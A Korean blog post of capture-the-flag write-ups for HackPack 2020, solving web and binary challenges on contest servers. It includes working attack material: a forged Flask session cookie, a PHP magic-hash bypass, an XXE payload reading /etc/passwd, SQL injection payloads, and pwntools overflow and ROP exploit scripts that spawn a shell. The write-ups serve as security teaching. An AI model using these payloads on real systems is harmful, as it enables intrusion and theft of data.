HACKPACK2020] Write ups

노션으로 옮김·2020년 4월 30일
1

wargame

목록 보기
45/59
post-thumbnail

WEB

Help a new local cookie bakery startup shake down their new online ordering and loyalty rewards portal at https://cookie-forge.cha.hackpack.club!

I wonder if they will sell you a Flask of milk to go with your cookies...

접속하면

주문 버튼이 있는 페이지가 나오고,
주문 버튼을 누르면

로그인 창이 표시된다.

풀이

아무 아이디로 로그인하면 쿠키값 생성된다.

.eJwNzDEKgDAQRNGrLNPY5AS5iYjIimMSiFFcNYV4d1P95vFfTGtWizT44YVcLdhopoFw6Pdboj6UmSyS9xC4SCqiJl2ttcP4jQ7tECymA37VbHS4jWfRjfBoCt8P4JEikA.Xqrk_g.qYQk00gPIHRKL1T8IaAHAZMK4U4

jwt 형태라는 것을 알 수 있고, 디코딩 해보면

{"flagship":false,"username":"test"}^ӗ0J?s)%

flagship의 값을 true로 설정한 jwt값을 쿠키로 전달해야 할 것 같다.
하지만, 시그네처 검사를 none으로 설정해서 전달하면 처리되지 않는다.
secret 값을 구해야 한다.

flask-unsign을 이용해 구할 수 있다.

root@kali:/work/tools# flask-unsign -c eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIllvdSBtdXN0IGxvZyBpbiBmaXJzdCEiXX1dfQ.XqrjrQ.EMY713KSO9BQYdpiuBuWW7CDfTg --unsign
[*] Session decodes to: {'_flashes': [('warning', 'You must log in first!')]}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 41667 attempts
'password1'
root@kali:/work/tools# 

그리고 jwt를 다시 생성한다.

root@kali:/work/tools# flask-unsign --sign --secret "password1" --cookie "{'flagship': True, 'username': 'bob8gook'}"
eyJmbGFnc2hpcCI6dHJ1ZSwidXNlcm5hbWUiOiJib2I4Z29vayJ9.EYx4iQ.T2wgencWPCFFCiNla4AkiOIoS-w
root@kali:/work/tools# 

해당 값을 쿠키로 설정 후 flagship 페이지에 접근하면 플래그를 확인할 수 있다.

flag{0h_my_@ch1ng_p@ncre@5_th33$3_@r3_d3l1c10$0}

Treasure Map

Hmm, do pirates really think they can hide a treasure without us knowing? Find the treasure and prove they are wrong.
Check here: https://treasure-map.cha.hackpack.club/

접속해보면

많은 링크들을 확인할 수 있다.

풀이

몇 개의 링크를 시험삼아 들어가보면 404 not found를 반환한다. 소스나 쿠키, requests 확인해도 별다른 힌트가 없었다. 마지막으로 robots.txt를 확인해본다.

sitemap이 설정되어있다. 해당 파일(treasuremap.xml)을 확인해본다.

인코딩된 이름을 가진 html 파일이 확인된다. 해당 html에 접근하면

플래그를 확인할 수 있다.

flag{tr3asur3_hunt1ng_fUn}

Super Secret Flag Vault

See if you can get into the super secret flag vault! I have used the latest and greatest techniques with php to make sure you cant get past my vault.

Take me to the Vault
index.php

접속하면

금고 이미지와 비밀번호를 입력하는 버튼이 주어진다.

풀이

소스파일을 확인해보면

<?php
      // this is how I store hashes right?
      $hash = "0e770334890835629000008642775106";
      if(array_key_exists("combination",$_REQUEST) && $_REQUEST["combination"] !== ''){
          //Isn't it great that == works in every language?
          if(array_key_exists("debug", $_REQUEST)){
              echo "<br> ". md5($_REQUEST["combination"]);
          }
          if(md5($_REQUEST["combination"]) == $hash){
              echo "<br> The Flag is flag{...}<br>";
          }
          else{
              echo "<br>Wrong!<br>";
          }

      }
?>

magic hash 문제이다.

loose comparison을 수행하므로, md5 연산 결과가 0e로 시작하는 단어인 'QNKCDZO'를 입력하면 0==0으로 true를 반환하여 인증에 성공한다.

flag{!5_Ph9_5TronGly_7yPed?}

Paster

Come and BETA Test our new social networking site. Its like twitter but shorter

Go checkout Paster now

접속해보면

메모를 남길 수 있는 서비스 페이지를 확인할 수 있다.

풀이

<img> 태그를 이용하여 XXS를 시도해봤다.
태그는 제대로 삽입되었지만 서버로부터 request 요청이 오질 않았다.
XSS 문제는 아닌듯 했다.

힌트를 찾기위해 index.php의 소스를 확인했다.

  <script src="game-frame.js"></script>

위처럼 game-frame.js 파일을 임포트시키고 있었다.
그리고 game-frame.js를 확인해보면

난독화된 자바스크립트 코드였다.
[]()!+의 6가지 문자로 이루어진 난독화 코드는 jsfuck에 의해 생성된 것이다.

디코드 시키자.

parent.postMessage(window.location.toString(),"*");var originalAlert=window.alert;window.alert=function(t){parent.postMessage("success","*"),flag=atob("ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99"),setTimeout(function(){originalAlert("Congratulations, you executed an alert:\n\n"+t+"\n\nhere is the flag: "+flag)},50)};

소스를 보면, ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99를 디코딩한 값이 플래그란 것을 알 수 있다.

flag{x55_i5Nt_7hA7_bAD_R1Gh7?}

Custom UI

How often do you visit the website just to bounce back because of bad design? Now we developed a new feature, which gives you the ability to change the design!

Check out a new feature: https://custom-ui.cha.hackpack.club/

접속하면 버튼을 생성하는 페이지를 확인할 수 있다.

풀이

입력 폼에 entity인 >을 입력하면

에러메시지가 출력되며 입력된 값으로 loadXML을 호출하는 것을 알 수 있다.

그리고 소스를 보면 post.js를 임포트시키는데

document.addEventListener("DOMContentLoaded", () => {
  
  let el = document.getElementById("btnColor");
  let el3 = document.getElementById("btnValue");
  let el2 = document.getElementById("xdata");
  el.onkeyup = updateData;
  el3.onkeyup = updateData;

  function updateData() {
    let data = "<button><color>" + el.value + "</color><value>" + el3.value + "</value></button>";
    el2.value = data;
  }
})

입력폼의 color, text 값이 xdata라는 post 파라미터로 만들어진 후에 request 된다는 것을 알 수 있다.

burp suite를 이용해 xdata를 다음의 페이로드로 전송하여 xxe를 시도한다.(url 인코딩이 필요하다)

<!--?xml version="1.0" ?--><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]><button><value>&ent;</value></button>

response를 보면

  <h1>Your custom button!</h1>
          <button style="background-color: ; padding: 15px 32px;">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

페이로드가 제대로 실행되었다.

이제 flag.txt를 실행시켜야 한다.
하지만, 경로를 알 수가 없다.

expect:// 로 쉘 명령어를 실행해보려 했지만

<b>Warning</b>:  DOMDocument::loadXML(): Unable to find the wrapper &quot;expect&quot; - did you forget to enable it when you configured PHP? in <b>/var/www/html/index.php</b> on line <b>12</b><br />

허용되지 않았다.

방법을 찾다가 쿠키에 debug라는 값이 설정되어 있는 것을 확인했다.
falsetrue로 설정해주면 html소스 마지막에 다음과 같은 주석을 확인할 수 있다.

  </div>
  <!-- TODO: Delete flag.txt from /etc/ --></body>
</html>

파일의 위치는 /etc/flag.txt였다.
해당 파일을 읽으면 플래그 값을 얻을 수 있다.

flag{d1d_y0u_kn0w_th@t_xml_can_run_code?}

Online Birthday Party

This pandemic hit everybody hard. Especially, those who want to make a birthday party. That is why we decided to create a website where you can find those who have the same birthdate as yours.

Check it out: https://online-birthday-party.cha.hackpack.club/

접속해보면

로그인, 가입 페이지가 있고
아이디를 생성 후 로그인하면

생일이 같은 사람의 목록을 확인할 수 있다.

풀이

생일로 검색되는 페이지가 있는 것을 봤을 때, 가입할 때 입력하는 생일 값을 이용해 sql 인젝션이 가능함을 유추할 수 있다.

생일을 싱글쿼터로 설정하고 조회했을 때, 위처럼 에러가 출력된다.

union select를 이용하여 플래그가 저장된 속성명을 찾아보자.

' union select 1, column_name from information_scheam.columns table_name = 'users' -- 

조회해보면

password에 플래그가 저장되있을 것 같다.

컬럼을 두 개나 조회할 수 있으므로, idpassword를 모두 조회해보자.

' union select id, password from users -- 

확인해보면

id값이 1인 계정의 패스워드가 플래그 값이다

flag{c0mpl1cat3d_2nd_0rd3r_sql}

Pwnable

jsclean

JavaScript Cleaning Service: Transform ugly JavaScript files to pretty clean JavaScript files!

nc cha.hackpack.club 41718

접속하면 자바스크립트 파일명과 실행할 자바스크립트 코드를 입력받는다.

```shell
root@kali:/work/tools# nc cha.hackpack.club 41718
Welcome To JavaScript Cleaner
Enter Js File Name To Clean: index.js
Submit valid JavaScript Code: 

풀이

flag.txt를 읽는 코드를 전송한다.

root@kali:/work/tools# nc cha.hackpack.club 41718
Welcome To JavaScript Cleaner
Enter Js File Name To Clean: index.js
Submit valid JavaScript Code: var fs = require('fs');fs.readFile('flag.txt', 'utf8', function(err, data){console.log(data);});
flag{Js_N3v3R_FuN_2_Re4d}

flag{Js_N3v3R_FuN_2_Re4d}

mousetrap

Are you savvy enough to steal a piece of cheese?

nc cha.hackpack.club 41719
mousetrap

문제 파일을 실행하면

root@kali:/work/ctf/HACKPACK2020/pwn/mousetrap_d# ./mousetrap
Welcome little mouse
can you steal the cheese from the mouse trap
Name: gtest
Enter Code Sequence of 10: 123
SNAAAAAAAP! you died!root@kali:/work/ctf/HACKPACK2020/pwn/mousetrap_d# 

이름과 코드 시퀀스를 입력받는다.

풀이

main 함수를 보면

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char **v3; // ST00_8@1
  __int64 v4; // rsi@1
  char v6; // [sp+10h] [bp-120h]@1
  char v7; // [sp+110h] [bp-20h]@1
  __int64 v8; // [sp+128h] [bp-8h]@1

  v3 = argv;
  v8 = 10LL;
  init(*(_QWORD *)&argc, argv, envp);
  menu(*(_QWORD *)&argc);
  set_mouse_name(&v7);
  v4 = v8;
  deactivate_trap((__int64)&v6, v8);
  grab_cheese(&v6);
  printf("SNAAAAAAAP! you died!", v4, v3);
  return 0;
}

v7이 이름이 저장되는 변수고, v8은 입력받을 코드 시퀀스의 크기(0x10)를 저장하고 있다.

입력받는 이름의 크기는 0x20인데 이는 v8을 덮어쓴다.

마지막 grab_cheese에서 0x10 크기의 지역변수에 코드 시퀀스를 복사하므로, 코드 시퀀스 크기를 조작하면 grab_cheese 스택 프레임의 리턴 주소를 변경할 수 있다.

from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

p = remote("cha.hackpack.club", 41719)
#p = process("mousetrap")

p.recvrepeat(1)

p.send('a'*0x18+p64(0xff))

p.recvrepeat(1)

addr_system = 0x400718

p.send('a'*0x18 + p64(addr_system))
#p.send('a'*0x18)

p.interactive()

코드를 실행하면 플래그 값을 확인할 수 있다.

flag{C0nTr0l_S1Z3_4_$h3LL}

climb

문제파일을 실행하면

root@kali:/work/ctf/HACKPACK2020/pwn/climb_d# ./climb
Stranger: Help! I'm stuck down here. Can you help me climb the rope?
How will you respond? aaaaa
root@kali:/work/ctf/HACKPACK2020/pwn/climb_d# 

문자열을 입력받고 종료된다.

풀이

main 함수를 보면

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+0h] [bp-20h]@1

  setbuf(_bss_start, 0LL);
  puts("Stranger: Help! I'm stuck down here. Can you help me climb the rope?");
  printf("How will you respond? ", 0LL);
  read(0, &buf, 0x1F4uLL);
  return 0;
}

간단한 오버플로우 취약점이다. 하지만 nx가 걸려있고 쉘을 실행해주는 함수를 제공하지 않아 rop를 이용해 조건을 맞춰서 직접 쉘을 실행해야 한다.

먼저 read 함수를 호출해 _bss'/bin/sh'를 저장하고, 해당 주소값을 인자로 system 함수를 호출한다.

64bit calling convention을 고려해 스택의 값을 레지스터로 pop 시키는 가젯이 추가되야 한다.

from pwn import *
#context.update(arch='amd64', os = 'linux', log_level = 'debug')

p = remote('cha.hackpack.club', 41702)
#p = process('climb')

p.recvrepeat(1)

addr_read = 0x400550
addr_ret = 0x00000000004004fe
addr_bss = 0x601050

addr_system = 0x400530
addr_main = 0x40067F
addr_pRDIret = 0x400743
addr_pRSI_Dret = 0x0000000000400741
addr_pRDXret = 0x0000000000400654

#call read
payload = 'a'*0x28 + p64(addr_pRDIret) + p64(0) + p64(addr_pRSI_Dret) + p64(addr_bss) + 'a'*8 + p64(addr_pRDXret) + p64(len('/bin/sh;')) + p64(addr_read)+ p64(addr_ret)

#call system
payload += p64(addr_pRDIret) + p64(addr_bss) + p64(addr_system)

p.send(payload)

p.send('/bin/sh\0')

p.interactive()

코드를 실행하면

쉘이 실행된다.

flag{w0w_A_R34L_LiF3_R0pp3r!}

0개의 댓글